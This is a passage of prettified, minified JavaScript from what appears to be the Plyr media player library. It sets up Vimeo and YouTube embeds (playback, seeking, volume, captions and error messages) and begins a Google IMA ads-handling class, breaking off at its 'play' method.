| 4022 |
}); |
| 4023 |
c.appendChild(r), |
| 4024 |
(t.media = S(c, t.media)), |
| 4025 |
ie(Q(t.config.urls.vimeo.api, o), "json").then(function (e) { |
| 4026 |
if (!m.empty(e)) { |
| 4027 |
var n = new URL(e[0].thumbnail_large); |
| 4028 |
(n.pathname = "".concat(n.pathname.split("_")[0], ".jpg")), |
| 4029 |
Ee.setPoster.call(t, n.href).catch(function () {}); |
| 4030 |
} |
| 4031 |
}), |
| 4032 |
(t.embed = new window.Vimeo.Player(r, { |
| 4033 |
autopause: t.config.autopause, |
| 4034 |
muted: t.muted, |
| 4035 |
})), |
| 4036 |
(t.media.paused = !0), |
| 4037 |
(t.media.currentTime = 0), |
| 4038 |
t.supported.ui && t.embed.disableTextTrack(), |
| 4039 |
(t.media.play = function () { |
| 4040 |
return Ne.call(t, !0), t.embed.play(); |
| 4041 |
}), |
| 4042 |
(t.media.pause = function () { |
| 4043 |
return Ne.call(t, !1), t.embed.pause(); |
| 4044 |
}), |
| 4045 |
(t.media.stop = function () { |
| 4046 |
t.pause(), (t.currentTime = 0); |
| 4047 |
}); |
| 4048 |
var u = t.media.currentTime; |
| 4049 |
Object.defineProperty(t.media, "currentTime", { |
| 4050 |
get: function () { |
| 4051 |
return u; |
| 4052 |
}, |
| 4053 |
set: function (e) { |
| 4054 |
var n = t.embed, |
| 4055 |
i = t.media, |
| 4056 |
a = t.paused, |
| 4057 |
s = t.volume, |
| 4058 |
o = a && !n.hasPlayed; |
| 4059 |
(i.seeking = !0), |
| 4060 |
k.call(t, i, "seeking"), |
| 4061 |
Promise.resolve(o && n.setVolume(0)) |
| 4062 |
.then(function () { |
| 4063 |
return n.setCurrentTime(e); |
| 4064 |
}) |
| 4065 |
.then(function () { |
| 4066 |
return o && n.pause(); |
| 4067 |
}) |
| 4068 |
.then(function () { |
| 4069 |
return o && n.setVolume(s); |
| 4070 |
}) |
| 4071 |
.catch(function () {}); |
| 4072 |
}, |
| 4073 |
}); |
| 4074 |
var d = t.config.speed.selected; |
| 4075 |
Object.defineProperty(t.media, "playbackRate", { |
| 4076 |
get: function () { |
| 4077 |
return d; |
| 4078 |
}, |
| 4079 |
set: function (e) { |
| 4080 |
t.embed |
| 4081 |
.setPlaybackRate(e) |
| 4082 |
.then(function () { |
| 4083 |
(d = e), k.call(t, t.media, "ratechange"); |
| 4084 |
}) |
| 4085 |
.catch(function (e) { |
| 4086 |
"Error" === e.name && ce.setSpeedMenu.call(t, []); |
| 4087 |
}); |
| 4088 |
}, |
| 4089 |
}); |
| 4090 |
var h = t.config.volume; |
| 4091 |
Object.defineProperty(t.media, "volume", { |
| 4092 |
get: function () { |
| 4093 |
return h; |
| 4094 |
}, |
| 4095 |
set: function (e) { |
| 4096 |
t.embed.setVolume(e).then(function () { |
| 4097 |
(h = e), k.call(t, t.media, "volumechange"); |
| 4098 |
}); |
| 4099 |
}, |
| 4100 |
}); |
| 4101 |
var p = t.config.muted; |
| 4102 |
Object.defineProperty(t.media, "muted", { |
| 4103 |
get: function () { |
| 4104 |
return p; |
| 4105 |
}, |
| 4106 |
set: function (e) { |
| 4107 |
var n = !!m.boolean(e) && e; |
| 4108 |
t.embed.setVolume(n ? 0 : t.config.volume).then(function () { |
| 4109 |
(p = n), k.call(t, t.media, "volumechange"); |
| 4110 |
}); |
| 4111 |
}, |
| 4112 |
}); |
| 4113 |
var f, |
| 4114 |
g = t.config.loop; |
| 4115 |
Object.defineProperty(t.media, "loop", { |
| 4116 |
get: function () { |
| 4117 |
return g; |
| 4118 |
}, |
| 4119 |
set: function (e) { |
| 4120 |
var n = m.boolean(e) ? e : t.config.loop.active; |
| 4121 |
t.embed.setLoop(n).then(function () { |
| 4122 |
g = n; |
| 4123 |
}); |
| 4124 |
}, |
| 4125 |
}), |
| 4126 |
t.embed |
| 4127 |
.getVideoUrl() |
| 4128 |
.then(function (e) { |
| 4129 |
(f = e), ce.setDownloadLink.call(t); |
| 4130 |
}) |
| 4131 |
.catch(function (t) { |
| 4132 |
e.debug.warn(t); |
| 4133 |
}), |
| 4134 |
Object.defineProperty(t.media, "currentSrc", { |
| 4135 |
get: function () { |
| 4136 |
return f; |
| 4137 |
}, |
| 4138 |
}), |
| 4139 |
Object.defineProperty(t.media, "ended", { |
| 4140 |
get: function () { |
| 4141 |
return t.currentTime === t.duration; |
| 4142 |
}, |
| 4143 |
}), |
| 4144 |
Promise.all([t.embed.getVideoWidth(), t.embed.getVideoHeight()]).then( |
| 4145 |
function (t) { |
| 4146 |
var n, i, a; |
| 4147 |
(Le.ratio = |
| 4148 |
((n = t[0]), |
| 4149 |
(i = t[1]), |
| 4150 |
(a = (function e(t, n) { |
| 4151 |
return 0 === n ? t : e(n, t % n); |
| 4152 |
})(n, i)), |
| 4153 |
"".concat(n / a, ":").concat(i / a))), |
| 4154 |
Le.setAspectRatio.call(e, Le.ratio); |
| 4155 |
} |
| 4156 |
), |
| 4157 |
t.embed.setAutopause(t.config.autopause).then(function (e) { |
| 4158 |
t.config.autopause = e; |
| 4159 |
}), |
| 4160 |
t.embed.getVideoTitle().then(function (n) { |
| 4161 |
(t.config.title = n), Ee.setTitle.call(e); |
| 4162 |
}), |
| 4163 |
t.embed.getCurrentTime().then(function (e) { |
| 4164 |
(u = e), k.call(t, t.media, "timeupdate"); |
| 4165 |
}), |
| 4166 |
t.embed.getDuration().then(function (e) { |
| 4167 |
(t.media.duration = e), k.call(t, t.media, "durationchange"); |
| 4168 |
}), |
| 4169 |
t.embed.getTextTracks().then(function (e) { |
| 4170 |
(t.media.textTracks = e), he.setup.call(t); |
| 4171 |
}), |
| 4172 |
t.embed.on("cuechange", function (e) { |
| 4173 |
var n = e.cues, |
| 4174 |
i = (void 0 === n ? [] : n).map(function (e) { |
| 4175 |
return ( |
| 4176 |
(t = e.text), |
| 4177 |
(n = document.createDocumentFragment()), |
| 4178 |
(i = document.createElement("div")), |
| 4179 |
n.appendChild(i), |
| 4180 |
(i.innerHTML = t), |
| 4181 |
n.firstChild.innerText |
| 4182 |
); |
| 4183 |
var t, n, i; |
| 4184 |
}); |
| 4185 |
he.updateCues.call(t, i); |
| 4186 |
}), |
| 4187 |
t.embed.on("loaded", function () { |
| 4188 |
(t.embed.getPaused().then(function (e) { |
| 4189 |
Ne.call(t, !e), e || k.call(t, t.media, "playing"); |
| 4190 |
}), |
| 4191 |
m.element(t.embed.element) && t.supported.ui) && |
| 4192 |
t.embed.element.setAttribute("tabindex", -1); |
| 4193 |
}), |
| 4194 |
t.embed.on("play", function () { |
| 4195 |
Ne.call(t, !0), k.call(t, t.media, "playing"); |
| 4196 |
}), |
| 4197 |
t.embed.on("pause", function () { |
| 4198 |
Ne.call(t, !1); |
| 4199 |
}), |
| 4200 |
t.embed.on("timeupdate", function (e) { |
| 4201 |
(t.media.seeking = !1), |
| 4202 |
(u = e.seconds), |
| 4203 |
k.call(t, t.media, "timeupdate"); |
| 4204 |
}), |
| 4205 |
t.embed.on("progress", function (e) { |
| 4206 |
(t.media.buffered = e.percent), |
| 4207 |
k.call(t, t.media, "progress"), |
| 4208 |
1 === parseInt(e.percent, 10) && |
| 4209 |
k.call(t, t.media, "canplaythrough"), |
| 4210 |
t.embed.getDuration().then(function (e) { |
| 4211 |
e !== t.media.duration && |
| 4212 |
((t.media.duration = e), |
| 4213 |
k.call(t, t.media, "durationchange")); |
| 4214 |
}); |
| 4215 |
}), |
| 4216 |
t.embed.on("seeked", function () { |
| 4217 |
(t.media.seeking = !1), k.call(t, t.media, "seeked"); |
| 4218 |
}), |
| 4219 |
t.embed.on("ended", function () { |
| 4220 |
(t.media.paused = !0), k.call(t, t.media, "ended"); |
| 4221 |
}), |
| 4222 |
t.embed.on("error", function (e) { |
| 4223 |
(t.media.error = e), k.call(t, t.media, "error"); |
| 4224 |
}), |
| 4225 |
t.on("enterfullscreen exitfullscreen", function (e) { |
| 4226 |
var n = t.fullscreen.target; |
| 4227 |
if (n === t.elements.container) { |
| 4228 |
var i = "enterfullscreen" === e.type, |
| 4229 |
s = a(Le.ratio.split(":").map(Number), 2), |
| 4230 |
o = s[0] > s[1] ? "width" : "height"; |
| 4231 |
n.style[o] = i ? "".concat(Le.padding, "%") : null; |
| 4232 |
} |
| 4233 |
}), |
| 4234 |
setTimeout(function () { |
| 4235 |
return Ee.build.call(t); |
| 4236 |
}, 0); |
| 4237 |
}, |
| 4238 |
}; |
| 4239 |
function xe(e) { |
| 4240 |
e && !this.embed.hasPlayed && (this.embed.hasPlayed = !0), |
| 4241 |
this.media.paused === e && |
| 4242 |
((this.media.paused = !e), |
| 4243 |
k.call(this, this.media, e ? "play" : "pause")); |
| 4244 |
} |
| 4245 |
var Ie, |
| 4246 |
_e = { |
| 4247 |
setup: function () { |
| 4248 |
var e = this; |
| 4249 |
L(this.elements.wrapper, this.config.classNames.embed, !0), |
| 4250 |
_e.setAspectRatio.call(this), |
| 4251 |
m.object(window.YT) && m.function(window.YT.Player) |
| 4252 |
? _e.ready.call(this) |
| 4253 |
: (Me(this.config.urls.youtube.sdk).catch(function (t) { |
| 4254 |
e.debug.warn("YouTube API failed to load", t); |
| 4255 |
}), |
| 4256 |
(window.onYouTubeReadyCallbacks = |
| 4257 |
window.onYouTubeReadyCallbacks || []), |
| 4258 |
window.onYouTubeReadyCallbacks.push(function () { |
| 4259 |
_e.ready.call(e); |
| 4260 |
}), |
| 4261 |
(window.onYouTubeIframeAPIReady = function () { |
| 4262 |
window.onYouTubeReadyCallbacks.forEach(function (e) { |
| 4263 |
e(); |
| 4264 |
}); |
| 4265 |
})); |
| 4266 |
}, |
| 4267 |
getTitle: function (e) { |
| 4268 |
var t = this; |
| 4269 |
if (m.function(this.embed.getVideoData)) { |
| 4270 |
var n = this.embed.getVideoData().title; |
| 4271 |
if (m.empty(n)) |
| 4272 |
return (this.config.title = n), void Ee.setTitle.call(this); |
| 4273 |
} |
| 4274 |
var i = this.config.keys.google; |
| 4275 |
m.string(i) && |
| 4276 |
!m.empty(i) && |
| 4277 |
ie(Q(this.config.urls.youtube.api, e, i)) |
| 4278 |
.then(function (e) { |
| 4279 |
m.object(e) && |
| 4280 |
((t.config.title = e.items[0].snippet.title), |
| 4281 |
Ee.setTitle.call(t)); |
| 4282 |
}) |
| 4283 |
.catch(function () {}); |
| 4284 |
}, |
| 4285 |
setAspectRatio: function () { |
| 4286 |
var e = this.config.ratio.split(":"); |
| 4287 |
this.elements.wrapper.style.paddingBottom = "".concat( |
| 4288 |
(100 / e[0]) * e[1], |
| 4289 |
"%" |
| 4290 |
); |
| 4291 |
}, |
| 4292 |
ready: function () { |
| 4293 |
var e = this, |
| 4294 |
t = e.media.getAttribute("id"); |
| 4295 |
if (m.empty(t) || !t.startsWith("youtube-")) { |
| 4296 |
var n = e.media.getAttribute("src"); |
| 4297 |
m.empty(n) && |
| 4298 |
(n = e.media.getAttribute(this.config.attributes.embed.id)); |
| 4299 |
var i, |
| 4300 |
a, |
| 4301 |
s = |
| 4302 |
((i = n), |
| 4303 |
m.empty(i) |
| 4304 |
? null |
| 4305 |
: i.match( |
| 4306 |
/^.*(youtu.be\/|v\/|u\/\w\/|embed\/|watch\?v=|&v=)([^#&?]*).*/ |
| 4307 |
) |
| 4308 |
? RegExp.$2 |
| 4309 |
: i), |
| 4310 |
o = |
| 4311 |
((a = e.provider), |
| 4312 |
"".concat(a, "-").concat(Math.floor(1e4 * Math.random()))), |
| 4313 |
r = A("div", { id: o, poster: e.poster }); |
| 4314 |
e.media = S(r, e.media); |
| 4315 |
var l = function (e) { |
| 4316 |
return "https://img.youtube.com/vi/" |
| 4317 |
.concat(s, "/") |
| 4318 |
.concat(e, "default.jpg"); |
| 4319 |
}; |
| 4320 |
Ae(l("maxres"), 121) |
| 4321 |
.catch(function () { |
| 4322 |
return Ae(l("sd"), 121); |
| 4323 |
}) |
| 4324 |
.catch(function () { |
| 4325 |
return Ae(l("hq")); |
| 4326 |
}) |
| 4327 |
.then(function (t) { |
| 4328 |
return Ee.setPoster.call(e, t.src); |
| 4329 |
}) |
| 4330 |
.then(function (t) { |
| 4331 |
t.includes("maxres") || |
| 4332 |
(e.elements.poster.style.backgroundSize = "cover"); |
| 4333 |
}) |
| 4334 |
.catch(function () {}), |
| 4335 |
(e.embed = new window.YT.Player(o, { |
| 4336 |
videoId: s, |
| 4337 |
playerVars: { |
| 4338 |
autoplay: e.config.autoplay ? 1 : 0, |
| 4339 |
hl: e.config.hl, |
| 4340 |
controls: e.supported.ui ? 0 : 1, |
| 4341 |
rel: 0, |
| 4342 |
showinfo: 0, |
| 4343 |
iv_load_policy: 3, |
| 4344 |
modestbranding: 1, |
| 4345 |
disablekb: 1, |
| 4346 |
playsinline: 1, |
| 4347 |
widget_referrer: window ? window.location.href : null, |
| 4348 |
cc_load_policy: e.captions.active ? 1 : 0, |
| 4349 |
cc_lang_pref: e.config.captions.language, |
| 4350 |
}, |
| 4351 |
events: { |
| 4352 |
onError: function (t) { |
| 4353 |
if (!e.media.error) { |
| 4354 |
var n = t.data, |
| 4355 |
i = |
| 4356 |
{ |
| 4357 |
2: "The request contains an invalid parameter value. For example, this error occurs if you specify a video ID that does not have 11 characters, or if the video ID contains invalid characters, such as exclamation points or asterisks.", |
| 4358 |
5: "The requested content cannot be played in an HTML5 player or another error related to the HTML5 player has occurred.", |
| 4359 |
100: "The video requested was not found. This error occurs when a video has been removed (for any reason) or has been marked as private.", |
| 4360 |
101: "The owner of the requested video does not allow it to be played in embedded players.", |
| 4361 |
150: "The owner of the requested video does not allow it to be played in embedded players.", |
| 4362 |
}[n] || "An unknown error occured"; |
| 4363 |
(e.media.error = { code: n, message: i }), |
| 4364 |
k.call(e, e.media, "error"); |
| 4365 |
} |
| 4366 |
}, |
| 4367 |
onPlaybackRateChange: function (t) { |
| 4368 |
var n = t.target; |
| 4369 |
(e.media.playbackRate = n.getPlaybackRate()), |
| 4370 |
k.call(e, e.media, "ratechange"); |
| 4371 |
}, |
| 4372 |
onReady: function (t) { |
| 4373 |
if (!m.function(e.media.play)) { |
| 4374 |
var n = t.target; |
| 4375 |
_e.getTitle.call(e, s), |
| 4376 |
(e.media.play = function () { |
| 4377 |
xe.call(e, !0), n.playVideo(); |
| 4378 |
}), |
| 4379 |
(e.media.pause = function () { |
| 4380 |
xe.call(e, !1), n.pauseVideo(); |
| 4381 |
}), |
| 4382 |
(e.media.stop = function () { |
| 4383 |
n.stopVideo(); |
| 4384 |
}), |
| 4385 |
(e.media.duration = n.getDuration()), |
| 4386 |
(e.media.paused = !0), |
| 4387 |
(e.media.currentTime = 0), |
| 4388 |
Object.defineProperty(e.media, "currentTime", { |
| 4389 |
get: function () { |
| 4390 |
return Number(n.getCurrentTime()); |
| 4391 |
}, |
| 4392 |
set: function (t) { |
| 4393 |
e.paused && !e.embed.hasPlayed && e.embed.mute(), |
| 4394 |
(e.media.seeking = !0), |
| 4395 |
k.call(e, e.media, "seeking"), |
| 4396 |
n.seekTo(t); |
| 4397 |
}, |
| 4398 |
}), |
| 4399 |
Object.defineProperty(e.media, "playbackRate", { |
| 4400 |
get: function () { |
| 4401 |
return n.getPlaybackRate(); |
| 4402 |
}, |
| 4403 |
set: function (e) { |
| 4404 |
n.setPlaybackRate(e); |
| 4405 |
}, |
| 4406 |
}); |
| 4407 |
var i = e.config.volume; |
| 4408 |
Object.defineProperty(e.media, "volume", { |
| 4409 |
get: function () { |
| 4410 |
return i; |
| 4411 |
}, |
| 4412 |
set: function (t) { |
| 4413 |
(i = t), |
| 4414 |
n.setVolume(100 * i), |
| 4415 |
k.call(e, e.media, "volumechange"); |
| 4416 |
}, |
| 4417 |
}); |
| 4418 |
var a = e.config.muted; |
| 4419 |
Object.defineProperty(e.media, "muted", { |
| 4420 |
get: function () { |
| 4421 |
return a; |
| 4422 |
}, |
| 4423 |
set: function (t) { |
| 4424 |
var i = m.boolean(t) ? t : a; |
| 4425 |
(a = i), |
| 4426 |
n[i ? "mute" : "unMute"](), |
| 4427 |
k.call(e, e.media, "volumechange"); |
| 4428 |
}, |
| 4429 |
}), |
| 4430 |
Object.defineProperty(e.media, "currentSrc", { |
| 4431 |
get: function () { |
| 4432 |
return n.getVideoUrl(); |
| 4433 |
}, |
| 4434 |
}), |
| 4435 |
Object.defineProperty(e.media, "ended", { |
| 4436 |
get: function () { |
| 4437 |
return e.currentTime === e.duration; |
| 4438 |
}, |
| 4439 |
}), |
| 4440 |
(e.options.speed = n.getAvailablePlaybackRates()), |
| 4441 |
e.supported.ui && e.media.setAttribute("tabindex", -1), |
| 4442 |
k.call(e, e.media, "timeupdate"), |
| 4443 |
k.call(e, e.media, "durationchange"), |
| 4444 |
clearInterval(e.timers.buffering), |
| 4445 |
(e.timers.buffering = setInterval(function () { |
| 4446 |
(e.media.buffered = n.getVideoLoadedFraction()), |
| 4447 |
(null === e.media.lastBuffered || |
| 4448 |
e.media.lastBuffered < e.media.buffered) && |
| 4449 |
k.call(e, e.media, "progress"), |
| 4450 |
(e.media.lastBuffered = e.media.buffered), |
| 4451 |
1 === e.media.buffered && |
| 4452 |
(clearInterval(e.timers.buffering), |
| 4453 |
k.call(e, e.media, "canplaythrough")); |
| 4454 |
}, 200)), |
| 4455 |
setTimeout(function () { |
| 4456 |
return Ee.build.call(e); |
| 4457 |
}, 50); |
| 4458 |
} |
| 4459 |
}, |
| 4460 |
onStateChange: function (t) { |
| 4461 |
var n = t.target; |
| 4462 |
switch ( |
| 4463 |
(clearInterval(e.timers.playing), |
| 4464 |
e.media.seeking && |
| 4465 |
[1, 2].includes(t.data) && |
| 4466 |
((e.media.seeking = !1), k.call(e, e.media, "seeked")), |
| 4467 |
t.data) |
| 4468 |
) { |
| 4469 |
case -1: |
| 4470 |
k.call(e, e.media, "timeupdate"), |
| 4471 |
(e.media.buffered = n.getVideoLoadedFraction()), |
| 4472 |
k.call(e, e.media, "progress"); |
| 4473 |
break; |
| 4474 |
case 0: |
| 4475 |
xe.call(e, !1), |
| 4476 |
e.media.loop |
| 4477 |
? (n.stopVideo(), n.playVideo()) |
| 4478 |
: k.call(e, e.media, "ended"); |
| 4479 |
break; |
| 4480 |
case 1: |
| 4481 |
e.media.paused && !e.embed.hasPlayed |
| 4482 |
? e.media.pause() |
| 4483 |
: (xe.call(e, !0), |
| 4484 |
k.call(e, e.media, "playing"), |
| 4485 |
(e.timers.playing = setInterval(function () { |
| 4486 |
k.call(e, e.media, "timeupdate"); |
| 4487 |
}, 50)), |
| 4488 |
e.media.duration !== n.getDuration() && |
| 4489 |
((e.media.duration = n.getDuration()), |
| 4490 |
k.call(e, e.media, "durationchange"))); |
| 4491 |
break; |
| 4492 |
case 2: |
| 4493 |
e.muted || e.embed.unMute(), xe.call(e, !1); |
| 4494 |
} |
| 4495 |
k.call(e, e.elements.container, "statechange", !1, { |
| 4496 |
code: t.data, |
| 4497 |
}); |
| 4498 |
}, |
| 4499 |
}, |
| 4500 |
})); |
| 4501 |
} |
| 4502 |
}, |
| 4503 |
}, |
| 4504 |
je = { |
| 4505 |
setup: function () { |
| 4506 |
this.media |
| 4507 |
? (L( |
| 4508 |
this.elements.container, |
| 4509 |
this.config.classNames.type.replace("{0}", this.type), |
| 4510 |
!0 |
| 4511 |
), |
| 4512 |
L( |
| 4513 |
this.elements.container, |
| 4514 |
this.config.classNames.provider.replace("{0}", this.provider), |
| 4515 |
!0 |
| 4516 |
), |
| 4517 |
this.isEmbed && |
| 4518 |
L( |
| 4519 |
this.elements.container, |
| 4520 |
this.config.classNames.type.replace("{0}", "video"), |
| 4521 |
!0 |
| 4522 |
), |
| 4523 |
this.isVideo && |
| 4524 |
((this.elements.wrapper = A("div", { |
| 4525 |
class: this.config.classNames.video, |
| 4526 |
})), |
| 4527 |
w(this.media, this.elements.wrapper), |
| 4528 |
(this.elements.poster = A("div", { |
| 4529 |
class: this.config.classNames.poster, |
| 4530 |
})), |
| 4531 |
this.elements.wrapper.appendChild(this.elements.poster)), |
| 4532 |
this.isHTML5 |
| 4533 |
? z.extend.call(this) |
| 4534 |
: this.isYouTube |
| 4535 |
? _e.setup.call(this) |
| 4536 |
: this.isVimeo && Le.setup.call(this)) |
| 4537 |
: this.debug.warn("No media element found!"); |
| 4538 |
}, |
| 4539 |
}, |
| 4540 |
Oe = (function () { |
| 4541 |
function t(n) { |
| 4542 |
var i = this; |
| 4543 |
e(this, t), |
| 4544 |
(this.player = n), |
| 4545 |
(this.publisherId = n.config.ads.publisherId), |
| 4546 |
(this.playing = !1), |
| 4547 |
(this.initialized = !1), |
| 4548 |
(this.elements = { container: null, displayContainer: null }), |
| 4549 |
(this.manager = null), |
| 4550 |
(this.loader = null), |
| 4551 |
(this.cuePoints = null), |
| 4552 |
(this.events = {}), |
| 4553 |
(this.safetyTimer = null), |
| 4554 |
(this.countdownTimer = null), |
| 4555 |
(this.managerPromise = new Promise(function (e, t) { |
| 4556 |
i.on("loaded", e), i.on("error", t); |
| 4557 |
})), |
| 4558 |
this.load(); |
| 4559 |
} |
| 4560 |
return ( |
| 4561 |
n(t, [ |
| 4562 |
{ |
| 4563 |
key: "load", |
| 4564 |
value: function () { |
| 4565 |
var e = this; |
| 4566 |
this.enabled && |
| 4567 |
(m.object(window.google) && m.object(window.google.ima) |
| 4568 |
? this.ready() |
| 4569 |
: Me(this.player.config.urls.googleIMA.sdk) |
| 4570 |
.then(function () { |
| 4571 |
e.ready(); |
| 4572 |
}) |
| 4573 |
.catch(function () { |
| 4574 |
e.trigger( |
| 4575 |
"error", |
| 4576 |
new Error("Google IMA SDK failed to load") |
| 4577 |
); |
| 4578 |
})); |
| 4579 |
}, |
| 4580 |
}, |
| 4581 |
{ |
| 4582 |
key: "ready", |
| 4583 |
value: function () { |
| 4584 |
var e = this; |
| 4585 |
this.startSafetyTimer(12e3, "ready()"), |
| 4586 |
this.managerPromise.then(function () { |
| 4587 |
e.clearSafetyTimer("onAdsManagerLoaded()"); |
| 4588 |
}), |
| 4589 |
this.listeners(), |
| 4590 |
this.setupIMA(); |
| 4591 |
}, |
| 4592 |
}, |
| 4593 |
{ |
| 4594 |
key: "setupIMA", |
| 4595 |
value: function () { |
| 4596 |
(this.elements.container = A("div", { |
| 4597 |
class: this.player.config.classNames.ads, |
| 4598 |
})), |
| 4599 |
this.player.elements.container.appendChild( |
| 4600 |
this.elements.container |
| 4601 |
), |
| 4602 |
google.ima.settings.setVpaidMode( |
| 4603 |
google.ima.ImaSdkSettings.VpaidMode.ENABLED |
| 4604 |
), |
| 4605 |
google.ima.settings.setLocale( |
| 4606 |
this.player.config.ads.language |
| 4607 |
), |
| 4608 |
(this.elements.displayContainer = |
| 4609 |
new google.ima.AdDisplayContainer(this.elements.container)), |
| 4610 |
this.requestAds(); |
| 4611 |
}, |
| 4612 |
}, |
| 4613 |
{ |
| 4614 |
key: "requestAds", |
| 4615 |
value: function () { |
| 4616 |
var e = this, |
| 4617 |
t = this.player.elements.container; |
| 4618 |
try { |
| 4619 |
(this.loader = new google.ima.AdsLoader( |
| 4620 |
this.elements.displayContainer |
| 4621 |
)), |
| 4622 |
this.loader.addEventListener( |
| 4623 |
google.ima.AdsManagerLoadedEvent.Type.ADS_MANAGER_LOADED, |
| 4624 |
function (t) { |
| 4625 |
return e.onAdsManagerLoaded(t); |
| 4626 |
}, |
| 4627 |
!1 |
| 4628 |
), |
| 4629 |
this.loader.addEventListener( |
| 4630 |
google.ima.AdErrorEvent.Type.AD_ERROR, |
| 4631 |
function (t) { |
| 4632 |
return e.onAdError(t); |
| 4633 |
}, |
| 4634 |
!1 |
| 4635 |
); |
| 4636 |
var n = new google.ima.AdsRequest(); |
| 4637 |
(n.adTagUrl = this.tagUrl), |
| 4638 |
(n.linearAdSlotWidth = t.offsetWidth), |
| 4639 |
(n.linearAdSlotHeight = t.offsetHeight), |
| 4640 |
(n.nonLinearAdSlotWidth = t.offsetWidth), |
| 4641 |
(n.nonLinearAdSlotHeight = t.offsetHeight), |
| 4642 |
(n.forceNonLinearFullSlot = !1), |
| 4643 |
n.setAdWillPlayMuted(!this.player.muted), |
| 4644 |
this.loader.requestAds(n); |
| 4645 |
} catch (e) { |
| 4646 |
this.onAdError(e); |
| 4647 |
} |
| 4648 |
}, |
| 4649 |
}, |
| 4650 |
{ |
| 4651 |
key: "pollCountdown", |
| 4652 |
value: function () { |
| 4653 |
var e = this; |
| 4654 |
if ( |
| 4655 |
!( |
| 4656 |
arguments.length > 0 && |
| 4657 |
void 0 !== arguments[0] && |
| 4658 |
arguments[0] |
| 4659 |
) |
| 4660 |
) |
| 4661 |
return ( |
| 4662 |
clearInterval(this.countdownTimer), |
| 4663 |
void this.elements.container.removeAttribute( |
| 4664 |
"data-badge-text" |
| 4665 |
) |
| 4666 |
); |
| 4667 |
this.countdownTimer = setInterval(function () { |
| 4668 |
var t = le(Math.max(e.manager.getRemainingTime(), 0)), |
| 4669 |
n = "" |
| 4670 |
.concat(te("advertisement", e.player.config), " - ") |
| 4671 |
.concat(t); |
| 4672 |
e.elements.container.setAttribute("data-badge-text", n); |
| 4673 |
}, 100); |
| 4674 |
}, |
| 4675 |
}, |
| 4676 |
{ |
| 4677 |
key: "onAdsManagerLoaded", |
| 4678 |
value: function (e) { |
| 4679 |
var t = this; |
| 4680 |
if (this.enabled) { |
| 4681 |
var n = new google.ima.AdsRenderingSettings(); |
| 4682 |
(n.restoreCustomPlaybackStateOnAdBreakComplete = !0), |
| 4683 |
(n.enablePreloading = !0), |
| 4684 |
(this.manager = e.getAdsManager(this.player, n)), |
| 4685 |
(this.cuePoints = this.manager.getCuePoints()), |
| 4686 |
m.empty(this.cuePoints) || |
| 4687 |
this.cuePoints.forEach(function (e) { |
| 4688 |
if (0 !== e && -1 !== e && e < t.player.duration) { |
| 4689 |
var n = t.player.elements.progress; |
| 4690 |
if (m.element(n)) { |
| 4691 |
var i = (100 / t.player.duration) * e, |
| 4692 |
a = A("span", { |
| 4693 |
class: t.player.config.classNames.cues, |
| 4694 |
}); |
| 4695 |
(a.style.left = "".concat(i.toString(), "%")), |
| 4696 |
n.appendChild(a); |
| 4697 |
} |
| 4698 |
} |
| 4699 |
}), |
| 4700 |
this.manager.setVolume(this.player.volume), |
| 4701 |
this.manager.addEventListener( |
| 4702 |
google.ima.AdErrorEvent.Type.AD_ERROR, |
| 4703 |
function (e) { |
| 4704 |
return t.onAdError(e); |
| 4705 |
} |
| 4706 |
), |
| 4707 |
Object.keys(google.ima.AdEvent.Type).forEach(function (e) { |
| 4708 |
t.manager.addEventListener( |
| 4709 |
google.ima.AdEvent.Type[e], |
| 4710 |
function (e) { |
| 4711 |
return t.onAdEvent(e); |
| 4712 |
} |
| 4713 |
); |
| 4714 |
}), |
| 4715 |
this.trigger("loaded"); |
| 4716 |
} |
| 4717 |
}, |
| 4718 |
}, |
| 4719 |
{ |
| 4720 |
key: "onAdEvent", |
| 4721 |
value: function (e) { |
| 4722 |
var t = this, |
| 4723 |
n = this.player.elements.container, |
| 4724 |
i = e.getAd(), |
| 4725 |
a = function (e) { |
| 4726 |
var n = "ads".concat(e.replace(/_/g, "").toLowerCase()); |
| 4727 |
k.call(t.player, t.player.media, n); |
| 4728 |
}; |
| 4729 |
switch (e.type) { |
| 4730 |
case google.ima.AdEvent.Type.LOADED: |
| 4731 |
this.trigger("loaded"), |
| 4732 |
a(e.type), |
| 4733 |
this.pollCountdown(!0), |
| 4734 |
i.isLinear() || |
| 4735 |
((i.width = n.offsetWidth), |
| 4736 |
(i.height = n.offsetHeight)); |
| 4737 |
break; |
| 4738 |
case google.ima.AdEvent.Type.ALL_ADS_COMPLETED: |
| 4739 |
a(e.type), this.loadAds(); |
| 4740 |
break; |
| 4741 |
case google.ima.AdEvent.Type.CONTENT_PAUSE_REQUESTED: |
| 4742 |
a(e.type), this.pauseContent(); |
| 4743 |
break; |
| 4744 |
case google.ima.AdEvent.Type.CONTENT_RESUME_REQUESTED: |
| 4745 |
a(e.type), this.pollCountdown(), this.resumeContent(); |
| 4746 |
break; |
| 4747 |
case google.ima.AdEvent.Type.STARTED: |
| 4748 |
case google.ima.AdEvent.Type.MIDPOINT: |
| 4749 |
case google.ima.AdEvent.Type.COMPLETE: |
| 4750 |
case google.ima.AdEvent.Type.IMPRESSION: |
| 4751 |
case google.ima.AdEvent.Type.CLICK: |
| 4752 |
a(e.type); |
| 4753 |
} |
| 4754 |
}, |
| 4755 |
}, |
| 4756 |
{ |
| 4757 |
key: "onAdError", |
| 4758 |
value: function (e) { |
| 4759 |
this.cancel(), this.player.debug.warn("Ads error", e); |
| 4760 |
}, |
| 4761 |
}, |
| 4762 |
{ |
| 4763 |
key: "listeners", |
| 4764 |
value: function () { |
| 4765 |
var e, |
| 4766 |
t = this, |
| 4767 |
n = this.player.elements.container; |
| 4768 |
this.player.on("ended", function () { |
| 4769 |
t.loader.contentComplete(); |
| 4770 |
}), |
| 4771 |
this.player.on("seeking", function () { |
| 4772 |
return (e = t.player.currentTime); |
| 4773 |
}), |
| 4774 |
this.player.on("seeked", function () { |
| 4775 |
var n = t.player.currentTime; |
| 4776 |
m.empty(t.cuePoints) || |
| 4777 |
t.cuePoints.forEach(function (i, a) { |
| 4778 |
e < i && |
| 4779 |
i < n && |
| 4780 |
(t.manager.discardAdBreak(), |
| 4781 |
t.cuePoints.splice(a, 1)); |
| 4782 |
}); |
| 4783 |
}), |
| 4784 |
window.addEventListener("resize", function () { |
| 4785 |
t.manager && |
| 4786 |
t.manager.resize( |
| 4787 |
n.offsetWidth, |
| 4788 |
n.offsetHeight, |
| 4789 |
google.ima.ViewMode.NORMAL |
| 4790 |
); |
| 4791 |
}); |
| 4792 |
}, |
| 4793 |
}, |
| 4794 |
{ |
| 4795 |
key: "play", |
